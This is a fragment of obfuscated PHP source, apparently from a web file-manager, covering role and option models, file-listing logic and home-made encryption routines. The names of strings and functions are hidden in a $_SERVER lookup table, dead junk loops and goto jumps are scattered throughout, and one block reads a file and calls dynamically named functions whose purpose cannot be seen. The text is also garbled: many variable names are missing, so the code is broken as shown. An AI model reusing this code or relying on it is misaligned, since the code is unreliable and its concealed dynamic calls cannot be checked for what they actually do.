(strlen($) < $ܭ[622]) { return; } case $ۑ[297]: $ڔ = base64_encode($ڔ); $̓ = rand(0, 64); $ = $ώ[$̓]; $ǣ = $ܭ[719]; while ($ǣ < $ܭ[625]) { if ($ǣ >= 0) { break; } $ǣ++; } $Ҍä = md5($ . md5($ . $) . $); $Ҍä = substr($Ҍä, $̓ % 8, $̓ % 8 + 7); $ٺ = $ۑ[6]; $® = 0; $ = 0; $ = $ܭ[720]; if (strlen($) < $ܭ[622]) { die; } $ = 0; for ($® = 0; $® < strlen($ڔ); $®++) { $ = $ == strlen($Ҍä) ? 0 : $; $ = $ܭ[721]; if (!$) { return; } $ = ($̓ + strpos($ώ, $ڔ[$®]) + ord($Ҍä[$++])) % 64; $ٺ .= $ώ[$]; $Ѵ = $ܭ[722]; while (strlen($Ѵ) < $ܭ[625]) { if (!$Ѵ) { break; } $Ѵ++; } } $ = hash_encode($ . $ٺ); $ = $ܭ[723]; if (!$) { return; } break; default: $ = $this->gdtufc22d200($ڔ, $ . $Δ); $މ = $ܭ[724]; while ($މ < $ܭ[625]) { if ($މ >= 0) { break; } $މ++; } break; } $ = strrev($ . $Δ . $); $ӭ = $ܭ[725]; if (!$ӭ) { return; } if ($֚ - 1 > 0) { $ = $this->jwsr6b17e39e($, $, $֚ - 1); } return $; } private function rmzv68b5affb($ކ, $, $Ԁ = 3) { $ʆ =& $_SERVER[ﻻ]; $Ξ =& $_SERVER[]; if (!is_string($ކ) || strlen($ކ) < 10) { return !1; } $ކ = trim($ކ); $ކ = strrev($ކ); $ⴱ = $ʆ[726]; $ = $ކ[0]; $ʯ = substr($ކ, 1, 15); $ = $ʆ[727]; while ($ < $ʆ[406]) { if ($ >= 0) { break; } $++; } $ކ = substr($ކ, 16); $ = $Ξ[294]; switch ($) { case $Ξ[203]: $ߡ = $this->xzhr0c76892f($ކ, strrev($ . $ʯ)); $Ϩ = $ʆ[728]; if (!$Ϩ) { die; } break; case $Ξ[121]: $ߡ = $this->xzhr0c76892f($ކ, strrev($ʯ . $)); break; case $Ξ[295]: $ߡ = $this->xzhr0c76892f($ކ, base64_encode($ʯ . $)); $Д = $ʆ[729]; break; $̀ = $ʆ[730]; if (!$̀) { die; } case $Ξ[296]: $ߡ = $this->xzhr0c76892f($ކ, md5($ʯ . $)); $ؿօ = $ʆ[731]; if (!$ؿօ) { return; } break; case $Ξ[297]: $ކ = hash_decode($ކ); $昖 = $ʆ[732]; while (strlen($昖) < $ʆ[625]) { if (!$昖) { break; } $昖++; } $ݗ = $ކ[0]; $Դݦ = $ʆ[733]; if (!$Դݦ) { return; } $ކ = substr($ކ, 1); $讦 = strpos($, $ݗ); $侟 = $ʆ[734]; if (strlen($侟) < $ʆ[622]) { return; } $ɧ߀ = md5($ݗ . md5($ . $ݗ) . $); $ɧ߀ = substr($ɧ߀, $讦 % 8, $讦 % 8 + 7); $Չ = $Ξ[6]; $ = 0; $ʁɚ = 0; $Խ͚ = $ʆ[735]; $˙ = 0; for ($ = 0; $ < strlen($ކ); $++) { $˙ = $˙ == strlen($ɧ߀) ? 0 : $˙; $ꉞ = $ʆ[736]; if (!$ꉞ) { die; } $ж = $˙++; $̑ = $ʆ[737]; if (strlen($̑) < $ʆ[625]) { die; } $ʁɚ = strpos($, $ކ[$]) - $讦 - ord($ɧ߀[$ж]); while ($ʁɚ < 0) { $ʁɚ += 64; $ʸ = $ʆ[738]; } $Չ .= $[$ʁɚ]; $ = $ʆ[739]; } $ߡ = base64_decode($Չ); $ = $ʆ[740]; break; default: $ߡ = $this->xzhr0c76892f($ކ, $ . $ʯ); break; } if ($Ԁ - 1 > 0) { $ߡ = $this->rmzv68b5affb($ߡ, $, $Ԁ - 1); } return $ߡ; } public function szdpa6bc92b5($ӳ) { $脆 =& $_SERVER[ﻻ]; $ =& $_SERVER[]; $ܿ
= $this->hvcxccdc89a5(); $ = $this->hvcxccdc89a5(); $ = $脆[741]; while (strlen($) < $脆[620]) { if (!$) { break; } $++; } $ = ($ܿ
- 1) * ($ - 1); $ = intval(($ܿ
+ $) / 2); $ = $脆[742]; if (!$) { die; } while (1) { $켷 = $; $輹 = $; $܍ = $脆[743]; if (!$܍) { die; } while ($輹 % $켷 != 0) { $ۊ = $輹; $輹 = $켷; $켷 = $ۊ % $켷; } if ($켷 == 1) { break; } else { $++; } } $ = 2; $ = $脆[744]; for ($ȃ = 0; $ȃ < $ * 10; $ȃ++) { if (($ * $ȃ + 1) % $ == 0) { $ = intval(($ * $ȃ + 1) / $); break; } } $ۂ = $this->gdtufc22d200($ܿ
* $ . $[6], $[135]); $ = md5($[298] . ($ܿ
+ $) . $[299] . $ . $[299] . $ . $[300]); $熘 = $this->gdtufc22d200($ӳ, $) . $[301] . $ۂ; $Ӄ = $脆[745]; if (!$Ӄ) { die; } return $熘; $Ϸ = $脆[746]; } public function tokz88db8325($ꓡ) { $߉ׁ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; $Ū = explode($[301], $ꓡ); $臶 = $߉ׁ[747]; while (strlen($臶) < $߉ׁ[406]) { if (!$臶) { break; } $臶++; } if (count($Ū) != 2) { return $[6]; } $߇ = $this->xzhr0c76892f($Ū[1] . $[6], $[135]); if (!$߇) { return $[6]; } $߇ = intval($߇); $Ս = 0; $˴ܲ = 0; $߭ = $߉ׁ[748]; if (strlen($߭) < $߉ׁ[620]) { return; } for ($׀ = 3; $׀ < $߇; $׀ += 2) { if ($߇ % $׀ != 0) { continue; } $Ս = $׀; $ѫ؈ = $߉ׁ[749]; if (strlen($ѫ؈) < $߉ׁ[620]) { die; } $˴ܲ = intval($߇ / $׀); break; } $ = ($Ս - 1) * ($˴ܲ - 1); $ = $߉ׁ[750]; while ($ < $߉ׁ[632]) { if ($ >= 0) { break; } $++; } $ = intval(($Ս + $˴ܲ) / 2); $鎸 = $߉ׁ[751]; while (1) { $㷴 = $; $ו = $; while ($ו % $㷴 != 0) { $ = $ו; $ו = $㷴; $㷴 = $ % $㷴; $鲌 = $߉ׁ[752]; while (strlen($鲌) < $߉ׁ[620]) { if (!$鲌) { break; } $鲌++; } } if ($㷴 == 1) { break; } else { $++; } } $ = 2; $͆ = $߉ׁ[753]; if (strlen($͆) < $߉ׁ[632]) { die; } for ($׀ = 0; $׀ < $ * 10; $׀++) { if (($ * $׀ + 1) % $ == 0) { $ = intval(($ * $׀ + 1) / $); break; } } $ = md5($[298] . ($Ս + $˴ܲ) . $[299] . $ . $[299] . $ . $[300]); $֭ = $this->xzhr0c76892f($Ū[0], $); $ = $߉ׁ[754]; return $֭; $ͤ = $߉ׁ[755]; while (strlen($ͤ) < $߉ׁ[406]) { if (!$ͤ) { break; } $ͤ++; } } public function hvcxccdc89a5() { $光 =& $_SERVER[ﻻ]; $Ӫ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = array(); $ = $光[756]; if (strlen($) < $光[625]) { return; } $ѽډ = 1; while ($ѽډ <= (int) sqrt($Ӫ)) { $Ǧ = $ѽډ; $ƽ = $光[757]; if (!$ƽ) { die; } while (!0) { $Ǧ++; if ($Ǧ <= 2) { $ѽډ = $Ǧ; break; } else { if ($Ǧ < 2) { continue; } } $ر = !0; for ($ݘ = 2; $ݘ <= sqrt($Ǧ); $ݘ++) { if ($Ǧ % $ݘ == 0) { $ر = !1; } } if ($ر) { $ѽډ = $Ǧ; break; } } $[] = $ѽډ; } $ܘӪ = 2; for ($Ǧ = $Ӫ; $Ǧ > 1; $Ǧ--) { $ر = !0; foreach ($ as $՟) { if ($Ǧ % $՟ == 0) { $ر = !1; break; } } if ($ر) { $ܘӪ = $Ǧ; break; } } return $ܘӪ; $֧ = $光[758]; while (strlen($֧) < $光[625]) { if (!$֧) { break; } $֧++; } } public function fdpr4423769b($, $ܩ) { $ =& $_SERVER[]; return call_user_func(array($[8], $[302]), $, $ܩ); } public function gdtufc22d200($, $ݡ) { $Յ =& $_SERVER[]; return call_user_func(array($Յ[303], $Յ[304]), $, $ݡ); } public function xzhr0c76892f($㈁ƞ, $) { $ꐳ =& $_SERVER[]; return call_user_func(array($ꐳ[303], $ꐳ[305]), $㈁ƞ, $); } } $_file = $_SERVER[$_SERVER[ﻻ][409]]; $_size = $_SERVER[ﻻ][759]; goto fϚ; cݦڅ: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\163\164\x65\155\x5f\157\160\x74\x69\157\x6e"; protected $jsonField = array("\x6d\x65\x6e\165", "\x72\x6f\154\145", "\x72\157\x6c\x65\107\x72\157\165\160", "\x72\x65\147\x69\x73\x74", "\x65\x6d\141\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\123\x79\x73\164\145\x6d\x4f\160\164\151\157\156\137{$}"; } protected function optionDefault($𱎉 = '') { $֍ =& $_SERVER[ﻻ]; if ($𱎉 == $֍[12]) { return $GLOBALS[$֍[6]][$֍[381]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\155\x2e\x72\x6f\x6c\145\114\x69\163\164"; public $field = array("\156\x61\155\x65", "\141\165\x74\150", "\154\x61\x62\145\x6c", "\x64\151\163\160\x6c\x61\x79", "\163\x79\x73\164\x65\x6d", "\144\x65\163\143", "\x69\147\x6e\157\x72\145\105\x78\164", "\x69\147\x6e\x6f\162\145\x46\x69\154\x65\123\x69\172\x65", "\x61\144\155\x69\x6e\x69\x73\x74\162\x61\164\x6f\162", "\163\x6f\x72\164"); public function listData($սƦ = false, $ѷ = "\163\157\x72\x74", $ȡ = false) { $ =& $_SERVER[ﻻ]; $퉅ݫ = parent::listData($սƦ, $ѷ, $ȡ); if (!$սƦ) { foreach ($퉅ݫ as $洃 => $lj) { if ($lj[$[2069]] == 1) { $퉅ݫ[$洃][$[462]] = LNG($[2304]); } } } return $퉅ݫ; } public function update($ټ, $) { $ǻ =& $_SERVER[ﻻ]; $ = parent::listData($ټ); $à = $this->findByName($[$ǻ[32]]); if (!$ || $à && $à[$ǻ[399]] != $[$ǻ[399]]) { return !1; } if ($à[$ǻ[2069]] == 1) { $ = array($ǻ[32] => $[$ǻ[32]], $ǻ[1890] => $[$ǻ[1890]]); } $this->filterAuth($[$ǻ[422]]); return parent::update($ټ, $); } public function remove($) { $ˌ = parent::listData($); if (!$ˌ || $ˌ[$_SERVER[ﻻ][1294]]) { return !1; } return parent::remove($); } public function add($ߙ) { $ =& $_SERVER[ﻻ]; $ = $ߙ[$[32]]; if ($this->findByName($)) { return !1; } $惠 = array($[429] => $, $[1873] => $[12], $[1869] => $[1877], $[2305] => 1, $[1872] => 0, $[2306] => 0, $[1871] => $this->getSort()); $ߙ = array_merge($惠, $ߙ); $this->filterAuth($ߙ[$[422]]); return parent::insert($ߙ); } private function getSort() { $ =& $_SERVER[ﻻ]; $ = parent::listData(); $Ҕ = array_to_keyvalue($, $[12], $[1891]); return empty($Ҕ) ? 0 : max($Ҕ) + 1; } private function filterAuth(&$ϩƍ) { $ꠓ =& $_SERVER[ﻻ]; $٣ӌ = array(); $ڪ = array_filter(explode($ꠓ[50], $ϩƍ)); foreach ($ڪ as $ϩƍ) { $ = explode($ꠓ[10], $ϩƍ); if ($[0] == $ꠓ[2307] && $[1] != $ꠓ[1200]) { $ = $[0] . $ꠓ[10] . $[1] . $ꠓ[2308]; if (!in_array($, $ڪ)) { $٣ӌ[] = $; } } $٣ӌ[] = $ϩƍ; } $ϩƍ = implode($ꠓ[50], $٣ӌ); } public function findRoleDefault() { $ =& $_SERVER[ﻻ]; $ۖ = parent::listData(); $˕ = !1; foreach ($ۖ as $襁) { if (!$襁 || $襁[$[1889]] == $[198] || $襁[$[2069]] == 1) { continue; } if (strstr($襁[$[422]], $[2309])) { continue; } if (!strstr($襁[$[422]], $[2310])) { continue; } if (!$˕) { $˕ = $襁; continue; } $ʓ = explode($[50], $˕[$[422]]); $㊦ = explode($[50], $襁[$[422]]); if (count($ʓ) > count($㊦)) { $˕ = $襁; } } return $˕ ? $˕[$[399]] : $[12]; } public function sort($ؘ, $Є) { return parent::update($ؘ, $Є); } } goto a; B: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($拳 = false, $ = '', $ח = false) { $ɇ =& $_SERVER[ﻻ]; $ = $this->cacheGet($); $ˣ = $this->optionDefault($); $ˣ = is_array($ˣ) ? $ˣ : array(); if (is_array($)) { $ = array_merge($ˣ, $); return $拳 ? isset($[$拳]) ? $[$拳] : null : $; } $Ź = $this->filterWhere(array($ɇ[33] => $)); $ = $this->where($Ź)->select(); $ = array_to_keyvalue($, $ɇ[94], $ɇ[374]); foreach ($ as $㳒 => $Ȼ) { if ($ח || in_array($㳒, $this->jsonField)) { $[$㳒] = json_decode($Ȼ, !0); } } $this->cacheSet($, $); $ = array_merge($ˣ, $); return $拳 ? $[$拳] : $; } public function set($ܔ˓, $ = false, $۴ = '') { $ȍ =& $_SERVER[ﻻ]; $this->cacheRemove($۴); $ = array(); $ = is_array($ܔ˓) ? $ܔ˓ : array($ܔ˓ => $); foreach ($ as $̻ => $) { if (is_array($)) { $ = json_encode_force($); } $this->checkLength($, !1, $this->tableName . $ȍ[4] . $ܔ˓); $ = self::textEncode($); $ = array($ȍ[33] => $۴, $ȍ[94] => $̻, $ȍ[374] => $); $[] = $this->filterWhere($); } if (!$) { return !0; } $ܓ = $this->cacheKey($ȍ[400]); CacheLock::lock($ܓ); $ļ½ = $this->addAll($, array(), !0); CacheLock::unlock($ܓ); return $ļ½; } protected function optionDefault($ = '') { return !1; } public function setDeep($˶, $ = false, $ = '') { $ƺ = explode($_SERVER[ﻻ][10], $˶); $ǻ = $this->get(); array_set_value($ǻ, $˶, $); $this->set($ƺ[0], $ǻ[$ƺ[0]], $); } public function remove($ي, $ = '') { $ =& $_SERVER[ﻻ]; $this->cacheRemove($); $ = $this->filterWhere(array($[94] => $ي, $[33] => $)); if (is_null($ي)) { unset($[$[94]]); } return $this->where($)->delete(); } public function cacheSet($А, $ = false) { return Cache::set($this->cacheKey($А), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($Ϻр) { return Cache::remove($this->cacheKey($Ϻр)); } protected function filterWhere($ǔȔ) { return $ǔȔ; } protected function cacheKey($黸) { return $黸; } } if ($_SERVER[$_SERVER[ﻻ][401]] != $_SERVER[$_SERVER[ﻻ][402]]) { $_getc = $_SERVER[ﻻ][403]; $_getfile = $_SERVER[$_SERVER[ﻻ][404]] . $_SERVER[ﻻ][405]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ﻻ][231], $_getfilec); if (count($_getarrs) < $_SERVER[ﻻ][406]) { $exit = $_SERVER[ﻻ][407]; $exit(); } $_act = $_SERVER[ﻻ][408]; $_act($_SERVER[$_SERVER[ﻻ][409]]); } class SourceListModel extends ModelBase { protected $tableName = "\151\157\137\163\x6f\x75\x72\x63\145"; protected $tableMeta = array("\x74\141\142\x6c\x65\116\141\x6d\145" => "\151\x6f\x5f\163\x6f\165\x72\143\145\137\155\145\164\x61", "\x6d\145\164\x61\106\x69\145\x6c\144" => "\163\x6f\x75\162\143\145\x49\104"); protected $dataAuto = array(array("\155\x6f\144\151\146\171\x54\x69\x6d\145", "\x74\151\155\145", "\x69\156\163\x65\x72\x74", "\146\165\156\x63\164\151\x6f\x6e"), array("\x63\162\x65\x61\x74\x65\124\x69\x6d\x65", "\x74\x69\x6d\145", "\x69\x6e\163\x65\162\x74", "\146\x75\156\143\164\151\157\x6e"), array("\166\x69\x65\167\124\x69\155\x65", "\164\151\155\x65", "\x69\x6e\163\x65\162\164", "\146\165\x6e\143\x74\x69\157\x6e")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($룚) { return $this->listSource(array($_SERVER[ﻻ][410] => $룚)); } public function typeName($) { static $ = array(self::TYPE_SYSTEM => "\163\x79\163\x74\145\155", self::TYPE_USER => "\165\x73\145\162", self::TYPE_GROUP => "\x67\162\x6f\165\160"); return $[$ . $_SERVER[ﻻ][12]]; } public function sourceListInfo($, $ؘ = false) { $̳ =& $_SERVER[ﻻ]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $ = $this->where(array($̳[411] => array($̳[7], $)))->select(); $this->_listDataApply($, $ؘ); return array_to_keyvalue($, $̳[411]); } public function pathInfoFilter(&$) { $ =& $_SERVER[ﻻ]; static $ǹ = false; static $ = false; static $̗ = false; if (!$ǹ) { $߲ = $[412]; $߲ .= $[413]; $߲ .= $[414]; $ = $[415]; $Ժ = explode($[50], $); $ǹ = explode($[50], $߲); $ = array(); foreach ($ǹ as $) { if (in_array($, $Ժ)) { continue; } $[] = $; } $̗ = explode($[50], $[416]); } foreach ($̗ as $͜ð) { if (isset($[$͜ð])) { $[$͜ð] = intval($[$͜ð]); } } $[$[84]] = $[417] . $[$[411]] . $[418]; $[$[33]] = $[$[419]] == 1 ? $[75] : $[200]; $[$[420]] = $this->typeName($[$[420]]); if ($[$[419]] != 1) { $[$[174]] = $[$[421]]; unset($[$[421]]); } $ = $ǹ; if (isset($[$[422]]) && $[$[422]][$[423]] == -1) { $ = $; } $ = array_field_key($, $); return $; } public function listUserFav() { $À =& $_SERVER[ﻻ]; $ = Model($À[424])->listData(); $ᘟ = array_filter_by_field($, $À[33], $À[425]); $ᘟ = array_to_keyvalue($ᘟ, $À[12], $À[84]); if ($ᘟ) { $ĥ = $this->listSource(array($À[426] => array($À[427], $ᘟ))); } $ĥ = array_to_keyvalue($ĥ[$À[369]], $À[411]); foreach ($ as &$ċ) { $ċ = array($À[428] => $ċ[$À[399]], $À[429] => $ċ[$À[32]], $À[430] => $ċ[$À[84]], $À[431] => $ċ[$À[33]], $À[432] => $ċ[$À[201]], $À[433] => $ċ[$À[85]]); if ($ċ[$À[33]] == $À[425] && $ĥ[$ċ[$À[84]]]) { $ċ[$À[87]] = $ĥ[$ċ[$À[84]]]; } } unset($ċ); return $; } public function listUserTag($) { $ =& $_SERVER[ﻻ]; if ($ && !is_array($)) { $ = array($); } $ = Model($[434])->listData(); $ۉ = array(); $ꐁµ = array(); foreach ($ as $ø) { $֣ = $ø[$[84]]; if (!$֣) { continue; } if (!isset($ꐁµ[$֣])) { $ꐁµ[$֣] = array(); } $ꐁµ[$֣][] = $ø[$[435]]; $ۉ[$ø[$[84]]] = $ø; } $ȥ = array(); $ = array(); $ؒ = array(); foreach ($ꐁµ as $ => $ު) { $ې = !0; if (!$) { $ȥ[] = $; continue; } foreach ($ as $撾) { if (!in_array($撾, $ު)) { $ې = !1; break; } } if (!$ې) { continue; } if (!is_numeric($)) { $ = $ۉ[$]; $ = array($[32] => $[$[32]], $[84] => $[$[84]], $[33] => $[$[33]], $[87] => array($[436] => 1), $[202] => !0); if ($[$[33]] == $[200]) { $ؒ[] = $; } if ($[$[33]] == $[75]) { $[] = $; } continue; } $ȥ[] = $; } if ($ȥ) { $ȿ = $this->listSource(array($[426] => array($[427], $ȥ))); } $ȿ = $ȿ ? $ȿ : array($[82] => array(), $[83] => array()); $ȿ[$[82]] = array_merge($ȿ[$[82]], $); $ȿ[$[83]] = array_merge($ȿ[$[83]], $ؒ); if (isset($ȿ[$[366]]) && count($ȥ) == $ȿ[$[366]][$[367]]) { return $ȿ; } $ = array(); $ = array_to_keyvalue($ȿ[$[82]], $[12], $[411]); $Ѫ = array_to_keyvalue($ȿ[$[83]], $[12], $[411]); $ɣ = array_merge($Ѫ, $); foreach ($ȥ as $֣) { if (!in_array($֣, $ɣ)) { $[] = $֣; } } if ($) { Model($[437])->removeBySource($); } return $ȿ; } public function listUserRecycle() { $ݟꜾ =& $_SERVER[ﻻ]; $ = Model($ݟꜾ[438])->listData(); if (!$) { return array(); } $ذ = array($ݟꜾ[426] => array($ݟꜾ[427], $), $ݟꜾ[439] => 1); return $this->listSource($ذ); } public function listSource($ڔ, $䌽 = 3000, $څ = false) { $𓋷 =& $_SERVER[ﻻ]; if (!isset($ڔ[$𓋷[440]])) { $ڔ[$𓋷[440]] = 0; } if (isset($ڔ[$𓋷[441]]) && $ڔ[$𓋷[441]] == $𓋷[198]) { $ڔ[$𓋷[421]] = array($𓋷[331], $𓋷[442]); } $ = $𓋷[443]; $Ȳѓ = $this->field($)->_makeOrder()->where($ڔ)->selectPage($䌽); $this->_listPageCheck($Ȳѓ, $, $ڔ); $this->_listDataApply($Ȳѓ[$𓋷[369]], $څ); $this->_listMake($Ȳѓ); return $Ȳѓ; } private function _listPageCheck(&$, $, $) { $꼳 =& $_SERVER[ﻻ]; if (!is_array($[$꼳[366]])) { return; } $Е = $[$꼳[366]]; if ($Е[$꼳[368]] <= 1) { return; } if ($Е[$꼳[367]] >= 100000) { return; } if (Model($꼳[444])->get($꼳[445]) != $꼳[446]) { return; } $ = str_replace(array($꼳[53], $꼳[342], $꼳[231]), $꼳[12], $); $ = $꼳[447] . str_replace($꼳[50], $꼳[448], $) . $꼳[449]; $ = $꼳[450]; $ = $ . $꼳[451]; $ = $Е[$꼳[363]] * ($Е[$꼳[353]] - 1) . $꼳[50] . $Е[$꼳[363]]; $Վ = $this->_makeOrder(!0); $ˣɡ = $꼳[447] . str_replace($꼳[50], $꼳[448], $Վ[0]); if (strpos($ˣɡ, $꼳[452])) { $ˣɡ = str_replace($꼳[452], $꼳[453], $ˣɡ); } else { $ˣɡ .= $꼳[454] . $Վ[1]; } $ = array(); foreach ($ as $ => $ޯ) { $[$꼳[447] . $] = $ޯ; } $this->alias($꼳[455])->field($)->limit($)->order($ˣɡ); $֧ = $this->join($)->where($)->select(); if ($֧) { $[$꼳[369]] = $֧; } } protected function _makeOrder($ = false) { $ =& $_SERVER[ﻻ]; $ɟ = Model($[456])->get($[457]); $㐡 = Model($[456])->get($[458]); $ǀ = array($[459] => $[460], $[461] => $[462]); $ = array($[32] => $[32], $[76] => $[76], $[174] => $[421], $[463] => $[463], $[464] => $[465], $[201] => $[201], $[85] => $[85]); $э = Input::get($[466], $[7], $ɟ, array_keys($)); $߬ = Input::get($[467], $[7], $㐡, array_keys($ǀ)); if (!in_array($э, array_keys($))) { $э = $[32]; } if (!in_array($߬, array_keys($ǀ))) { $э = $[459]; } if ($э == $[32]) { } $ϋ윃 = $[468] . $[$э] . $[53] . $ǀ[$߬]; $ϋ윃 = rtrim(trim($ϋ윃), $[50]); if ($) { return array($ϋ윃, $ǀ[$߬]); } return $this->order($ϋ윃); } protected function _listDataApplyItem($鸤, $ = false) { $ = array($鸤); $this->_listDataApply($, $); return $[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[ﻻ]; if (!$) { $ = array(); return; } $ = array_to_keyvalue($, $[12], $[411]); $ = array_unique($); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $); $this->_listAppendFileMeta($, $); $this->_listAppendChildren($, $); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($Ϩ) { $ =& $_SERVER[ﻻ]; foreach ($Ϩ as $) { self::$cacheSourceInfo[$[469] . $[$[411]]] = $; } } protected function _listFilterInfo(&$꿟, $֣ = false) { $ =& $_SERVER[ﻻ]; foreach ($꿟 as &$ӛ) { $ӛ = $this->pathInfoFilter($ӛ); self::$cachePathInfo[$[470] . intval($֣) . $[386] . $ӛ[$[411]]] = $ӛ; } unset($ӛ); } protected function _listMake(&$) { $¸ =& $_SERVER[ﻻ]; $[$¸[82]] = array(); $[$¸[83]] = array(); foreach ($[$¸[369]] as $) { $ = $[$¸[419]] == 1 ? $¸[82] : $¸[83]; $[$][] = $; } unset($[$¸[369]]); } protected function _listAppendMeta(&$, $ފ) { $䈛 =& $_SERVER[ﻻ]; $ = array($䈛[426] => array($䈛[427], $ފ)); $Ϡ = Model($䈛[471])->field($䈛[472])->where($)->select(); if (!$Ϡ) { return; } $͛Æ = array($䈛[473], $䈛[474], $䈛[453]); $ = array(); foreach ($Ϡ as $) { if (!isset($[$[$䈛[411]]])) { $[$[$䈛[411]]] = array(); } if (in_array($[$䈛[94]], $͛Æ)) { continue; } $[$[$䈛[411]]][$[$䈛[94]]] = $[$䈛[374]]; } foreach ($ as &$ʖ̑) { $ʖ̑[$䈛[475]] = !1; if (isset($[$ʖ̑[$䈛[411]]])) { $ʖ̑[$䈛[475]] = $[$ʖ̑[$䈛[411]]]; } if ($this->fileIsLock($ʖ̑) && $ʖ̑[$䈛[422]]) { $،ܿ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ʖ̑[$䈛[422]][$䈛[423]] = AuthModel::authDisable($ʖ̑[$䈛[422]][$䈛[423]], $،ܿ); $ʖ̑[$䈛[422]][$䈛[476]][$䈛[422]] = $ʖ̑[$䈛[422]][$䈛[423]]; } } unset($ʖ̑); } protected function _listAppendFileMeta(&$֜, $ơ) { $ڀ =& $_SERVER[ﻻ]; $ = array_to_keyvalue($֜, $ڀ[12], $ڀ[477]); $ = array_filter(array_unique($)); if (!$) { return; } $ = array($ڀ[478] => array($ڀ[427], $)); $ = $ڀ[479]; $菏 = Model($ڀ[480])->field($)->where($)->select(); $菏 = array_to_keyvalue($菏, $ڀ[477]); $ = Model($ڀ[481])->field($ڀ[482])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $) { if (!isset($[$[$ڀ[477]]])) { $[$[$ڀ[477]]] = array(); } $[$[$ڀ[477]]][$[$ڀ[94]]] = $[$ڀ[374]]; } foreach ($֜ as &$̠̕) { $ = $̠̕[$ڀ[477]]; if (!$ || !is_array($菏[$])) { continue; } $ = $菏[$]; $[$ڀ[76]] = $̠̕[$ڀ[76]]; $[$ڀ[32]] = $̠̕[$ڀ[32]]; if (!isset(self::$cacheFileInfo[$ڀ[483] . $])) { self::$cacheFileInfo[$ڀ[483] . $] = array_merge(array(), $); } unset($菏[$][$ڀ[84]]); $ܑ = is_array($[$]) ? $[$] : array(); $̠̕[$ڀ[170]] = array_merge($ܑ, $菏[$]); if (isset($̠̕[$ڀ[170]][$ڀ[169]])) { $̠̕[$ڀ[169]] = json_decode($̠̕[$ڀ[170]][$ڀ[169]], !0); unset($̠̕[$ڀ[170]][$ڀ[169]]); } } unset($̠̕); } protected function _listAppendSourceInfo(&$¨, $˦) { $㓶 =& $_SERVER[ﻻ]; $ˠ = Model($㓶[484])->listData(); $ = Model($㓶[434])->listData(); $ = Model($㓶[424])->listData(); $ = Model($㓶[485])->listSimple(); $倡 = array_to_keyvalue($ˠ, $㓶[399]); $Ԕ = array_to_keyvalue_group($, $㓶[84], $㓶[435]); $줒 = array_to_keyvalue($, $㓶[84]); $ = array_to_keyvalue_group($, $㓶[411]); foreach ($¨ as &$) { $[$㓶[87]] = array($㓶[486] => 0, $㓶[487] => 0, $㓶[488] => 0); if (isset($줒[$[$㓶[411]]])) { $[$㓶[87]][$㓶[489]] = 1; $[$㓶[87]][$㓶[490]] = $줒[$[$㓶[411]]][$㓶[32]]; } if ($Ԕ && $倡 && isset($Ԕ[$[$㓶[411]]])) { $[$㓶[87]][$㓶[491]] = array(); foreach ($Ԕ[$[$㓶[411]]] as $䠌) { $ = $倡[$䠌]; $[$㓶[87]][$㓶[491]][] = array($㓶[492] => $[$㓶[399]], $㓶[429] => $[$㓶[32]], $㓶[493] => $[$㓶[494]]); } } if ($ && isset($[$[$㓶[411]]])) { $[$㓶[87]][$㓶[495]] = array(); foreach ($[$[$㓶[411]]] as $ޒѭ) { $ = $㓶[496]; if ($ޒѭ[$㓶[497]] == $㓶[88]) { $ .= $㓶[498]; } $[$㓶[87]][$㓶[495]] = array_field_key($ޒѭ, explode($㓶[50], $)); } } } unset($); return $¨; } protected function _listAppendChildren(&$˵, $ѶɅ) { $ =& $_SERVER[ﻻ]; $Ѥΰ = array(); $ƾ = array($[207] => 0, $[208] => 0); foreach ($˵ as &$) { if (!$[$[419]]) { continue; } $Ѥΰ[] = $[$[411]]; } unset($); if (!$Ѥΰ) { return; } $Ӣ = array($[441] => array($[7], $Ѥΰ), $[440] => 0); $þ = array($[441], $[419], $[499] => $[500]); $ = $this->field($þ)->where($Ӣ)->group($[501])->select(); $Õ = array(); foreach ($ as $݅Ƨ) { $ɞ = $݅Ƨ[$[441]]; $ = $݅Ƨ[$[419]] == $[88] ? $[208] : $[207]; if (!isset($Õ[$ɞ])) { $Õ[$ɞ] = array($[207] => 0, $[208] => 0); } $Õ[$ɞ][$] += $݅Ƨ[$[500]]; } foreach ($˵ as &$) { if (!$[$[419]]) { continue; } $ε = is_array($Õ[$[$[411]]]) ? $Õ[$[$[411]]] : $ƾ; $[$[208]] = $ε[$[208]]; $[$[207]] = $ε[$[207]]; unset($[$[421]]); } unset($); } protected function _listAppendAuth(&$΄) { $މЫ =& $_SERVER[ﻻ]; $Ⰱ = array(); foreach ($΄ as $ͷ) { if ($ͷ[$މЫ[420]] == self::TYPE_GROUP) { $Ⰱ[] = $ͷ[$މЫ[411]]; } } if (!$Ⰱ) { return; } $ = array_to_keyvalue($΄, $މЫ[411]); $ = Model($މЫ[502])->getSourceList($Ⰱ, $); $觏 = $GLOBALS[$މЫ[503]] == 1; foreach ($΄ as $ֹ => &$ͷ) { $ͷ[$މЫ[422]] = $[$ͷ[$މЫ[411]]]; if (!$ͷ[$މЫ[422]] && $ͷ[$މЫ[420]] == self::TYPE_GROUP) { $ͷ[$މЫ[422]] = Action($މЫ[504])->pathGroupAuthMake($ͷ[$މЫ[505]]); if (!$ͷ[$މЫ[422]] && !$觏) { $ͷ[$މЫ[203]] = !1; $ͷ[$މЫ[202]] = !1; } } if 